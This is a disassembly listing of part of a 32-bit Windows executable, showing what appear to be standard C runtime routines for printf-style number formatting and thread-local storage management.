		movsx	eax, byte ptr [ebp+var_28]
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		lea	edx, [ebp+var_264]
		push	edx
		call	off_451A48
		add	esp, 14h
		mov	eax, [ebp+var_4]
		and	eax, 80h
		test	eax, eax
		jz	short loc_423448
		cmp	[ebp+var_234], 0
		jnz	short loc_423448
		mov	ecx, [ebp+var_20]
		push	ecx
		call	off_451A54
		add	esp, 4


loc_423448:				; CODE XREF: sub_422D70+6C0j
					; sub_422D70+6C9j
		movsx	edx, byte ptr [ebp+var_28]
		cmp	edx, 67h
		jnz	short loc_42346A
		mov	eax, [ebp+var_4]
		and	eax, 80h
		test	eax, eax
		jnz	short loc_42346A
		mov	ecx, [ebp+var_20]
		push	ecx
		call	off_451A4C
		add	esp, 4


loc_42346A:				; CODE XREF: sub_422D70+6DFj
					; sub_422D70+6EBj
		mov	edx, [ebp+var_20]
		movsx	eax, byte ptr [edx]
		cmp	eax, 2Dh
		jnz	short loc_423487
		mov	ecx, [ebp+var_4]
		or	ch, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx


loc_423487:				; CODE XREF: sub_422D70+703j
		mov	eax, [ebp+var_20]
		push	eax
		call	sub_418D00
		add	esp, 4
		mov	[ebp+var_24], eax
		jmp	loc_4237A7
; ---------------------------------------------------------------------------


loc_42349B:				; CODE XREF: sub_422D70+385j
					; DATA XREF: .nsp0:00423A38o
		mov	ecx, [ebp+var_4]
		or	ecx, 40h
		mov	[ebp+var_4], ecx
		mov	[ebp+var_238], 0Ah
		jmp	loc_423535
; ---------------------------------------------------------------------------


loc_4234B3:				; CODE XREF: sub_422D70+385j
					; DATA XREF: .nsp0:00423A50o
		mov	[ebp+var_238], 0Ah
		jmp	short loc_423535
; ---------------------------------------------------------------------------


loc_4234BF:				; CODE XREF: sub_422D70+385j
					; DATA XREF: .nsp0:00423A48o
		mov	[ebp+var_234], 8


loc_4234C9:				; CODE XREF: sub_422D70+385j
					; DATA XREF: .nsp0:00423A2Co
		mov	[ebp+var_230], 7
		jmp	short loc_4234DF
; ---------------------------------------------------------------------------


loc_4234D5:				; CODE XREF: sub_422D70+385j
					; DATA XREF: .nsp0:00423A54o
		mov	[ebp+var_230], 27h


loc_4234DF:				; CODE XREF: sub_422D70+763j
		mov	[ebp+var_238], 10h
		mov	edx, [ebp+var_4]
		and	edx, 80h
		test	edx, edx
		jz	short loc_423513
		mov	[ebp+var_240], 30h
		mov	eax, [ebp+var_230]
		add	eax, 51h
		mov	[ebp+var_23F], al
		mov	[ebp+var_10], 2


loc_423513:				; CODE XREF: sub_422D70+784j
		jmp	short loc_423535
; ---------------------------------------------------------------------------


loc_423515:				; CODE XREF: sub_422D70+385j
					; DATA XREF: .nsp0:00423A44o
		mov	[ebp+var_238], 8
		mov	ecx, [ebp+var_4]
		and	ecx, 80h
		test	ecx, ecx
		jz	short loc_423535
		mov	edx, [ebp+var_4]
		or	dh, 2
		mov	[ebp+var_4], edx


loc_423535:				; CODE XREF: sub_422D70+73Ej
					; sub_422D70+74Dj ...
		mov	eax, [ebp+var_4]
		and	eax, 8000h
		test	eax, eax
		jz	short loc_42355E
		lea	ecx, [ebp+arg_8]
		push	ecx
		call	sub_423BD0
		add	esp, 4
		mov	[ebp+var_278], eax
		mov	[ebp+var_274], edx
		jmp	loc_4235EF
; ---------------------------------------------------------------------------


loc_42355E:				; CODE XREF: sub_422D70+7CFj
		mov	edx, [ebp+var_4]
		and	edx, 20h
		test	edx, edx
		jz	short loc_4235B0
		mov	eax, [ebp+var_4]
		and	eax, 40h
		test	eax, eax
		jz	short loc_423590
		lea	ecx, [ebp+arg_8]
		push	ecx
		call	sub_423BB0
		add	esp, 4
		movsx	eax, ax
		cdq
		mov	[ebp+var_278], eax
		mov	[ebp+var_274], edx
		jmp	short loc_4235AE
; ---------------------------------------------------------------------------


loc_423590:				; CODE XREF: sub_422D70+800j
		lea	edx, [ebp+arg_8]
		push	edx
		call	sub_423BB0
		add	esp, 4
		and	eax, 0FFFFh
		cdq
		mov	[ebp+var_278], eax
		mov	[ebp+var_274], edx


loc_4235AE:				; CODE XREF: sub_422D70+81Ej
		jmp	short loc_4235EF
; ---------------------------------------------------------------------------


loc_4235B0:				; CODE XREF: sub_422D70+7F6j
		mov	eax, [ebp+var_4]
		and	eax, 40h
		test	eax, eax
		jz	short loc_4235D5
		lea	ecx, [ebp+arg_8]
		push	ecx
		call	sub_423BB0
		add	esp, 4
		cdq
		mov	[ebp+var_278], eax
		mov	[ebp+var_274], edx
		jmp	short loc_4235EF
; ---------------------------------------------------------------------------


loc_4235D5:				; CODE XREF: sub_422D70+848j
		lea	edx, [ebp+arg_8]
		push	edx
		call	sub_423BB0
		add	esp, 4
		xor	ecx, ecx
		mov	[ebp+var_278], eax
		mov	[ebp+var_274], ecx


loc_4235EF:				; CODE XREF: sub_422D70+7E9j
					; sub_422D70:loc_4235AEj ...
		mov	edx, [ebp+var_4]
		and	edx, 40h
		test	edx, edx
		jz	short loc_423637
		cmp	[ebp+var_274], 0
		jg	short loc_423637
		jl	short loc_42360D
		cmp	[ebp+var_278], 0
		jnb	short loc_423637


loc_42360D:				; CODE XREF: sub_422D70+892j
		mov	eax, [ebp+var_278]
		neg	eax
		mov	ecx, [ebp+var_274]
		adc	ecx, 0
		neg	ecx
		mov	[ebp+var_26C], eax
		mov	[ebp+var_268], ecx
		mov	edx, [ebp+var_4]
		or	dh, 1
		mov	[ebp+var_4], edx
		jmp	short loc_42364F
; ---------------------------------------------------------------------------


loc_423637:				; CODE XREF: sub_422D70+887j
					; sub_422D70+890j ...
		mov	eax, [ebp+var_278]
		mov	[ebp+var_26C], eax
		mov	ecx, [ebp+var_274]
		mov	[ebp+var_268], ecx


loc_42364F:				; CODE XREF: sub_422D70+8C5j
		mov	edx, [ebp+var_4]
		and	edx, 8000h
		test	edx, edx
		jnz	short loc_423677
		mov	eax, [ebp+var_26C]
		mov	ecx, [ebp+var_268]
		and	ecx, 0
		mov	[ebp+var_26C], eax
		mov	[ebp+var_268], ecx


loc_423677:				; CODE XREF: sub_422D70+8EAj
		cmp	[ebp+var_234], 0
		jge	short loc_42368C
		mov	[ebp+var_234], 1
		jmp	short loc_423695
; ---------------------------------------------------------------------------


loc_42368C:				; CODE XREF: sub_422D70+90Ej
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFFFF7h
		mov	[ebp+var_4], edx


loc_423695:				; CODE XREF: sub_422D70+91Aj
		mov	eax, [ebp+var_26C]
		or	eax, [ebp+var_268]
		test	eax, eax
		jnz	short loc_4236AC
		mov	[ebp+var_10], 0


loc_4236AC:				; CODE XREF: sub_422D70+933j
		lea	ecx, [ebp+var_29]
		mov	[ebp+var_20], ecx


loc_4236B2:				; CODE XREF: sub_422D70+9EBj
		mov	edx, [ebp+var_234]
		mov	eax, [ebp+var_234]
		sub	eax, 1
		mov	[ebp+var_234], eax
		test	edx, edx
		jg	short loc_4236DF
		mov	ecx, [ebp+var_26C]
		or	ecx, [ebp+var_268]
		test	ecx, ecx
		jz	loc_423760


loc_4236DF:				; CODE XREF: sub_422D70+959j
		mov	eax, [ebp+var_238]
		cdq
		push	edx
		push	eax
		mov	edx, [ebp+var_268]
		push	edx
		mov	eax, [ebp+var_26C]
		push	eax
		call	sub_41DF70
		add	eax, 30h
		mov	[ebp+var_270], eax
		mov	eax, [ebp+var_238]
		cdq
		push	edx
		push	eax
		mov	ecx, [ebp+var_268]
		push	ecx
		mov	edx, [ebp+var_26C]
		push	edx
		call	sub_41DF00
		mov	[ebp+var_26C], eax
		mov	[ebp+var_268], edx
		cmp	[ebp+var_270], 39h
		jle	short loc_423747
		mov	eax, [ebp+var_270]
		add	eax, [ebp+var_230]
		mov	[ebp+var_270], eax


loc_423747:				; CODE XREF: sub_422D70+9C3j
		mov	ecx, [ebp+var_20]
		mov	dl, byte ptr [ebp+var_270]
		mov	[ecx], dl
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		jmp	loc_4236B2
; ---------------------------------------------------------------------------


loc_423760:				; CODE XREF: sub_422D70+969j
		lea	ecx, [ebp+var_29]
		sub	ecx, [ebp+var_20]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_4]
		and	eax, 200h
		test	eax, eax
		jz	short loc_4237A7
		mov	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 30h
		jnz	short loc_42378F
		cmp	[ebp+var_24], 0
		jnz	short loc_4237A7


loc_42378F:				; CODE XREF: sub_422D70+A17j
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+var_20]
		mov	byte ptr [ecx],	30h
		mov	edx, [ebp+var_24]
		add	edx, 1
		mov	[ebp+var_24], edx


loc_4237A7:				; CODE XREF: sub_422D70+371j
					; sub_422D70+385j ...
		cmp	[ebp+var_23C], 0
		jnz	loc_423982
		mov	eax, [ebp+var_4]
		and	eax, 40h
		test	eax, eax
		jz	short loc_42380D
		mov	ecx, [ebp+var_4]
		and	ecx, 100h
		test	ecx, ecx
		jz	short loc_4237DB
		mov	[ebp+var_240], 2Dh
		mov	[ebp+var_10], 1
		jmp	short loc_42380D
; ---------------------------------------------------------------------------


loc_4237DB:				; CODE XREF: sub_422D70+A59j
		mov	edx, [ebp+var_4]
		and	edx, 1
		test	edx, edx
		jz	short loc_4237F5
		mov	[ebp+var_240], 2Bh
		mov	[ebp+var_10], 1
		jmp	short loc_42380D
; ---------------------------------------------------------------------------


loc_4237F5:				; CODE XREF: sub_422D70+A73j
		mov	eax, [ebp+var_4]
		and	eax, 2
		test	eax, eax
		jz	short loc_42380D
		mov	[ebp+var_240], 20h
		mov	[ebp+var_10], 1


loc_42380D:				; CODE XREF: sub_422D70+A4Cj
					; sub_422D70+A69j ...
		mov	ecx, [ebp+var_244]
		sub	ecx, [ebp+var_24]
		sub	ecx, [ebp+var_10]
		mov	[ebp+var_27C], ecx
		mov	edx, [ebp+var_4]
		and	edx, 0Ch
		test	edx, edx
		jnz	short loc_423845
		lea	eax, [ebp+var_22C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_27C]
		push	edx
		push	20h
		call	sub_423B20
		add	esp, 10h


loc_423845:				; CODE XREF: sub_422D70+AB7j
		lea	eax, [ebp+var_22C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_10]
		push	edx
		lea	eax, [ebp+var_240]
		push	eax
		call	sub_423B60
		add	esp, 10h
		mov	ecx, [ebp+var_4]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_423893
		mov	edx, [ebp+var_4]
		and	edx, 4
		test	edx, edx
		jnz	short loc_423893
		lea	eax, [ebp+var_22C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_27C]
		push	edx
		push	30h
		call	sub_423B20
		add	esp, 10h


loc_423893:				; CODE XREF: sub_422D70+AFBj
					; sub_422D70+B05j
		cmp	[ebp+var_1C], 0
		jz	loc_423941
		cmp	[ebp+var_24], 0
		jle	loc_423941
		mov	eax, [ebp+var_20]
		mov	[ebp+var_280], eax
		mov	ecx, [ebp+var_24]
		mov	[ebp+var_284], ecx


loc_4238B9:				; CODE XREF: sub_422D70+BCAj
		mov	edx, [ebp+var_284]
		mov	eax, [ebp+var_284]
		sub	eax, 1
		mov	[ebp+var_284], eax
		test	edx, edx
		jz	short loc_42393F
		mov	ecx, [ebp+var_280]
		mov	dx, [ecx]
		mov	[ebp+var_2A6], dx
		mov	ax, [ebp+var_2A6]
		push	eax
		lea	ecx, [ebp+var_288]
		push	ecx
		mov	edx, [ebp+var_280]
		add	edx, 2
		mov	[ebp+var_280], edx
		call	sub_42C970
		add	esp, 8
		mov	[ebp+var_28C], eax
		cmp	[ebp+var_28C], 0
		jg	short loc_423919
		jmp	short loc_42393F
; ---------------------------------------------------------------------------


loc_423919:				; CODE XREF: sub_422D70+BA5j
		lea	eax, [ebp+var_22C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_28C]
		push	edx
		lea	eax, [ebp+var_288]
		push	eax
		call	sub_423B60
		add	esp, 10h
		jmp	loc_4238B9
; ---------------------------------------------------------------------------


loc_42393F:				; CODE XREF: sub_422D70+B60j
					; sub_422D70+BA7j
		jmp	short loc_42395C
; ---------------------------------------------------------------------------


loc_423941:				; CODE XREF: sub_422D70+B27j
					; sub_422D70+B31j
		lea	ecx, [ebp+var_22C]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		call	sub_423B60
		add	esp, 10h


loc_42395C:				; CODE XREF: sub_422D70:loc_42393Fj
		mov	edx, [ebp+var_4]
		and	edx, 4
		test	edx, edx
		jz	short loc_423982
		lea	eax, [ebp+var_22C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_27C]
		push	edx
		push	20h
		call	sub_423B20
		add	esp, 10h


loc_423982:				; CODE XREF: sub_422D70+ADj
					; sub_422D70+155j ...
		jmp	loc_422D94
; ---------------------------------------------------------------------------


loc_423987:				; CODE XREF: sub_422D70+3Bj
					; sub_422D70+48j
		mov	eax, [ebp+var_22C]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_422D70	endp

; ---------------------------------------------------------------------------
off_423994	dd offset loc_422E30	; DATA XREF: sub_422D70+B9r
		dd offset loc_422ECA
		dd offset loc_422F0C
		dd offset loc_422F7B
		dd offset loc_422FD3
		dd offset loc_422FE2
		dd offset loc_42302E
		dd offset loc_4230C1
off_4239B4	dd offset loc_422F58	; DATA XREF: sub_422D70+1CCr
		dd offset loc_422F63
		dd offset loc_422F4E
		dd offset loc_422F43
		dd offset loc_422F6E
		dd offset loc_422F76
byte_4239CC	db 0			; DATA XREF: sub_422D70+1C6r
		db 2 dup(5), 1
		dd 5050505h, 2050505h, 5050305h
		db 4
off_4239DD	dd offset loc_423070	; DATA XREF: sub_422D70+2EEr
		dd offset loc_4230A9
		dd offset loc_423065
		dd offset loc_4230B3
		dd offset loc_4230BC
byte_4239F1	db 0, 1Eh dup(4), 1, 3 dup(4), 2, 0Ah dup(4), 3	; DATA XREF: sub_422D70+2E8r
off_423A20	dd offset loc_4230FC	; DATA XREF: sub_422D70+385r
		dd offset loc_423390
		dd offset loc_423220
		dd offset loc_4234C9
		dd offset loc_42318B
		dd offset loc_423111
		dd offset loc_42349B
		dd offset loc_4233A0
		dd offset loc_423345
		dd offset loc_423515
		dd offset loc_4234BF
		dd offset loc_423236
		dd offset loc_4234B3
		dd offset loc_4234D5
		dd offset loc_4237A7
byte_423A5C	db 0, 0Eh, 1, 0Eh, 1, 0Bh dup(0Eh), 2, 4 dup(0Eh), 3, 0Eh
					; DATA XREF: sub_422D70+37Fr
		db 4, 8	dup(0Eh), 5, 6,	3 dup(7), 0Eh, 6, 4 dup(0Eh), 8
		db 9, 0Ah, 2 dup(0Eh), 0Bh, 0Eh, 0Ch, 2	dup(0Eh), 0Dh
		db 0Eh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423AA0	proc near		; CODE XREF: sub_422D70+F5p
					; sub_422D70+14Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	edx, [ebp+arg_4]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+4], 0
		jl	short loc_423AE2
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		movsx	ecx, byte ptr [ebp+arg_0]
		and	ecx, 0FFh
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_423AF5
; ---------------------------------------------------------------------------


loc_423AE2:				; CODE XREF: sub_423AA0+1Aj
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_422AF0
		add	esp, 8
		mov	[ebp+var_4], eax


loc_423AF5:				; CODE XREF: sub_423AA0+40j
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_423B06
		mov	ecx, [ebp+arg_8]
		mov	dword ptr [ecx], 0FFFFFFFFh
		jmp	short loc_423B13
; ---------------------------------------------------------------------------


loc_423B06:				; CODE XREF: sub_423AA0+59j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax


loc_423B13:				; CODE XREF: sub_423AA0+64j
		mov	esp, ebp
		pop	ebp
		retn
sub_423AA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423B20	proc near		; CODE XREF: sub_422D70+ACDp
					; sub_422D70+B1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp


loc_423B23:				; CODE XREF: sub_423B20:loc_423B51j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_4]
		sub	ecx, 1
		mov	[ebp+arg_4], ecx
		test	eax, eax
		jle	short loc_423B53
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_423AA0
		add	esp, 0Ch
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx], 0FFFFFFFFh
		jnz	short loc_423B51
		jmp	short loc_423B53
; ---------------------------------------------------------------------------


loc_423B51:				; CODE XREF: sub_423B20+2Dj
		jmp	short loc_423B23
; ---------------------------------------------------------------------------


loc_423B53:				; CODE XREF: sub_423B20+11j
					; sub_423B20+2Fj
		pop	ebp
		retn
sub_423B20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423B60	proc near		; CODE XREF: sub_422D70+AEBp
					; sub_422D70+BC2p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx


loc_423B64:				; CODE XREF: sub_423B60:loc_423BA4j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_4]
		sub	ecx, 1
		mov	[ebp+arg_4], ecx
		test	eax, eax
		jle	short loc_423BA6
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		call	sub_423AA0
		add	esp, 0Ch
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx], 0FFFFFFFFh
		jnz	short loc_423BA4
		jmp	short loc_423BA6
; ---------------------------------------------------------------------------


loc_423BA4:				; CODE XREF: sub_423B60+40j
		jmp	short loc_423B64
; ---------------------------------------------------------------------------


loc_423BA6:				; CODE XREF: sub_423B60+12j
					; sub_423B60+42j
		mov	esp, ebp
		pop	ebp
		retn
sub_423B60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423BB0	proc near		; CODE XREF: sub_422D70+218p
					; sub_422D70+27Fp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	eax, [ecx-4]
		pop	ebp
		retn
sub_423BB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423BD0	proc near		; CODE XREF: sub_422D70+7D5p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 8
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		sub	ecx, 8
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		pop	ebp
		retn
sub_423BD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423BF0	proc near		; CODE XREF: sub_422D70+3B2p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ax, [ecx-4]
		pop	ebp
		retn
sub_423BF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423C10	proc near		; CODE XREF: .nsp0:loc_41EA54p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_41FA60
		call	dword_4F149C	; TlsAlloc
		mov	dword_4516BC, eax
		cmp	dword_4516BC, 0FFFFFFFFh
		jnz	short loc_423C31
		xor	eax, eax
		jmp	short loc_423C8E
; ---------------------------------------------------------------------------


loc_423C31:				; CODE XREF: sub_423C10+1Bj
		push	61h
		push	offset aTidtable_c ; "tidtable.c"
		push	2
		push	74h
		push	1
		call	sub_419300
		add	esp, 14h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_423C64
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, dword_4516BC
		push	ecx
		call	dword_4F1498	; TlsSetValue
		test	eax, eax
		jnz	short loc_423C68


loc_423C64:				; CODE XREF: sub_423C10+3Dj
		xor	eax, eax
		jmp	short loc_423C8E
; ---------------------------------------------------------------------------


loc_423C68:				; CODE XREF: sub_423C10+52j
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_423CD0
		add	esp, 4
		call	dword_4F1494	; GetCurrentThreadId
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+4], 0FFFFFFFFh
		mov	eax, 1


loc_423C8E:				; CODE XREF: sub_423C10+1Fj
					; sub_423C10+56j
		mov	esp, ebp
		pop	ebp
		retn
sub_423C10	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	sub_41FAA0
		cmp	dword_4516BC, 0FFFFFFFFh
		jz	short loc_423CC7
		mov	eax, dword_4516BC
		push	eax
		call	dword_4F14A0	; TlsFree
		mov	dword_4516BC, 0FFFFFFFFh


loc_423CC7:				; CODE XREF: .nsp0:00423CAFj
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CD0	proc near		; CODE XREF: sub_423C10+5Cp
					; sub_423CF0+5Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+50h], offset dword_451BC8
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+14h], 1
		pop	ebp
		retn
sub_423CD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CF0	proc near		; CODE XREF: sub_41B840+3p
					; sub_41B850+4p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		call	dword_4F1348	; RtlGetLastWin32Error
		mov	[ebp+var_8], eax
		mov	eax, dword_4516BC
		push	eax
		call	dword_4F14A8	; TlsGetValue
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_423D77
		push	0E7h
		push	offset aTidtable_c ; "tidtable.c"
		push	2
		push	74h
		push	1
		call	sub_419300
		add	esp, 14h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_423D6D
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, dword_4516BC
		push	edx
		call	dword_4F1498	; TlsSetValue
		test	eax, eax
		jz	short loc_423D6D
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_423CD0
		add	esp, 4
		call	dword_4F1494	; GetCurrentThreadId
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+4], 0FFFFFFFFh
		jmp	short loc_423D77
; ---------------------------------------------------------------------------


loc_423D6D:				; CODE XREF: sub_423CF0+43j
					; sub_423CF0+58j
		push	10h
		call	sub_41EB30
		add	esp, 4


loc_423D77:				; CODE XREF: sub_423CF0+22j
					; sub_423CF0+7Bj
		mov	eax, [ebp+var_8]
		push	eax
		call	dword_4F14A4	; RtlRestoreLastWin32Error
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_423CF0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		cmp	dword_4516BC, 0FFFFFFFFh
		jz	loc_423E95
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_423DB5
		mov	eax, dword_4516BC
		push	eax
		call	dword_4F14A8	; TlsGetValue
		mov	[ebp+8], eax


loc_423DB5:				; CODE XREF: .nsp0:00423DA4j
		cmp	dword ptr [ebp+8], 0
		jz	loc_423E86
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+24h], 0
		jz	short loc_423DD9
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+24h]
		push	eax
		call	sub_419980
		add	esp, 8


loc_423DD9:				; CODE XREF: .nsp0:00423DC6j
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+28h], 0
		jz	short loc_423DF3
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+28h]
		push	eax
		call	sub_419980
		add	esp, 8


loc_423DF3:				; CODE XREF: .nsp0:00423DE0j
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+30h], 0
		jz	short loc_423E0D
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+30h]
		push	eax
		call	sub_419980
		add	esp, 8


loc_423E0D:				; CODE XREF: .nsp0:00423DFAj
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+38h], 0
		jz	short loc_423E27
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+38h]
		push	eax
		call	sub_419980
		add	esp, 8


loc_423E27:				; CODE XREF: .nsp0:00423E14j
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+40h], 0
		jz	short loc_423E41
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+40h]
		push	eax
		call	sub_419980
		add	esp, 8


loc_423E41:				; CODE XREF: .nsp0:00423E2Ej
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+44h], 0
		jz	short loc_423E5B
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+44h]
		push	eax
		call	sub_419980
		add	esp, 8


loc_423E5B:				; CODE XREF: .nsp0:00423E48j
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+50h], offset dword_451BC8
		jz	short loc_423E78
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+50h]
		push	eax
		call	sub_419980
		add	esp, 8


loc_423E78:				; CODE XREF: .nsp0:00423E65j
		push	2
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_419980
		add	esp, 8


loc_423E86:				; CODE XREF: .nsp0:00423DB9j
		push	0
		mov	edx, dword_4516BC
		push	edx
		call	dword_4F1498	; TlsSetValue


loc_423E95:				; CODE XREF: .nsp0:00423D9Aj
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	dword_4F1494	; GetCurrentThreadId
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	dword_4F14AC	; GetCurrentThread
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423EC0	proc near		; CODE XREF: sub_4246A0+Ep

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1A		= byte ptr -1Ah
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	19h
		call	sub_41FB40
		add	esp, 4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_424210
		add	esp, 4
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		cmp	ecx, dword_4EFD4C
		jnz	short loc_423EFB
		push	19h
		call	sub_41FBE0
		add	esp, 4
		xor	eax, eax
		jmp	loc_424200
; ---------------------------------------------------------------------------


loc_423EFB:				; CODE XREF: sub_423EC0+28j
		cmp	[ebp+arg_0], 0
		jnz	short loc_423F1C
		call	sub_4242F0
		call	sub_424370
		push	19h
		call	sub_41FBE0
		add	esp, 4
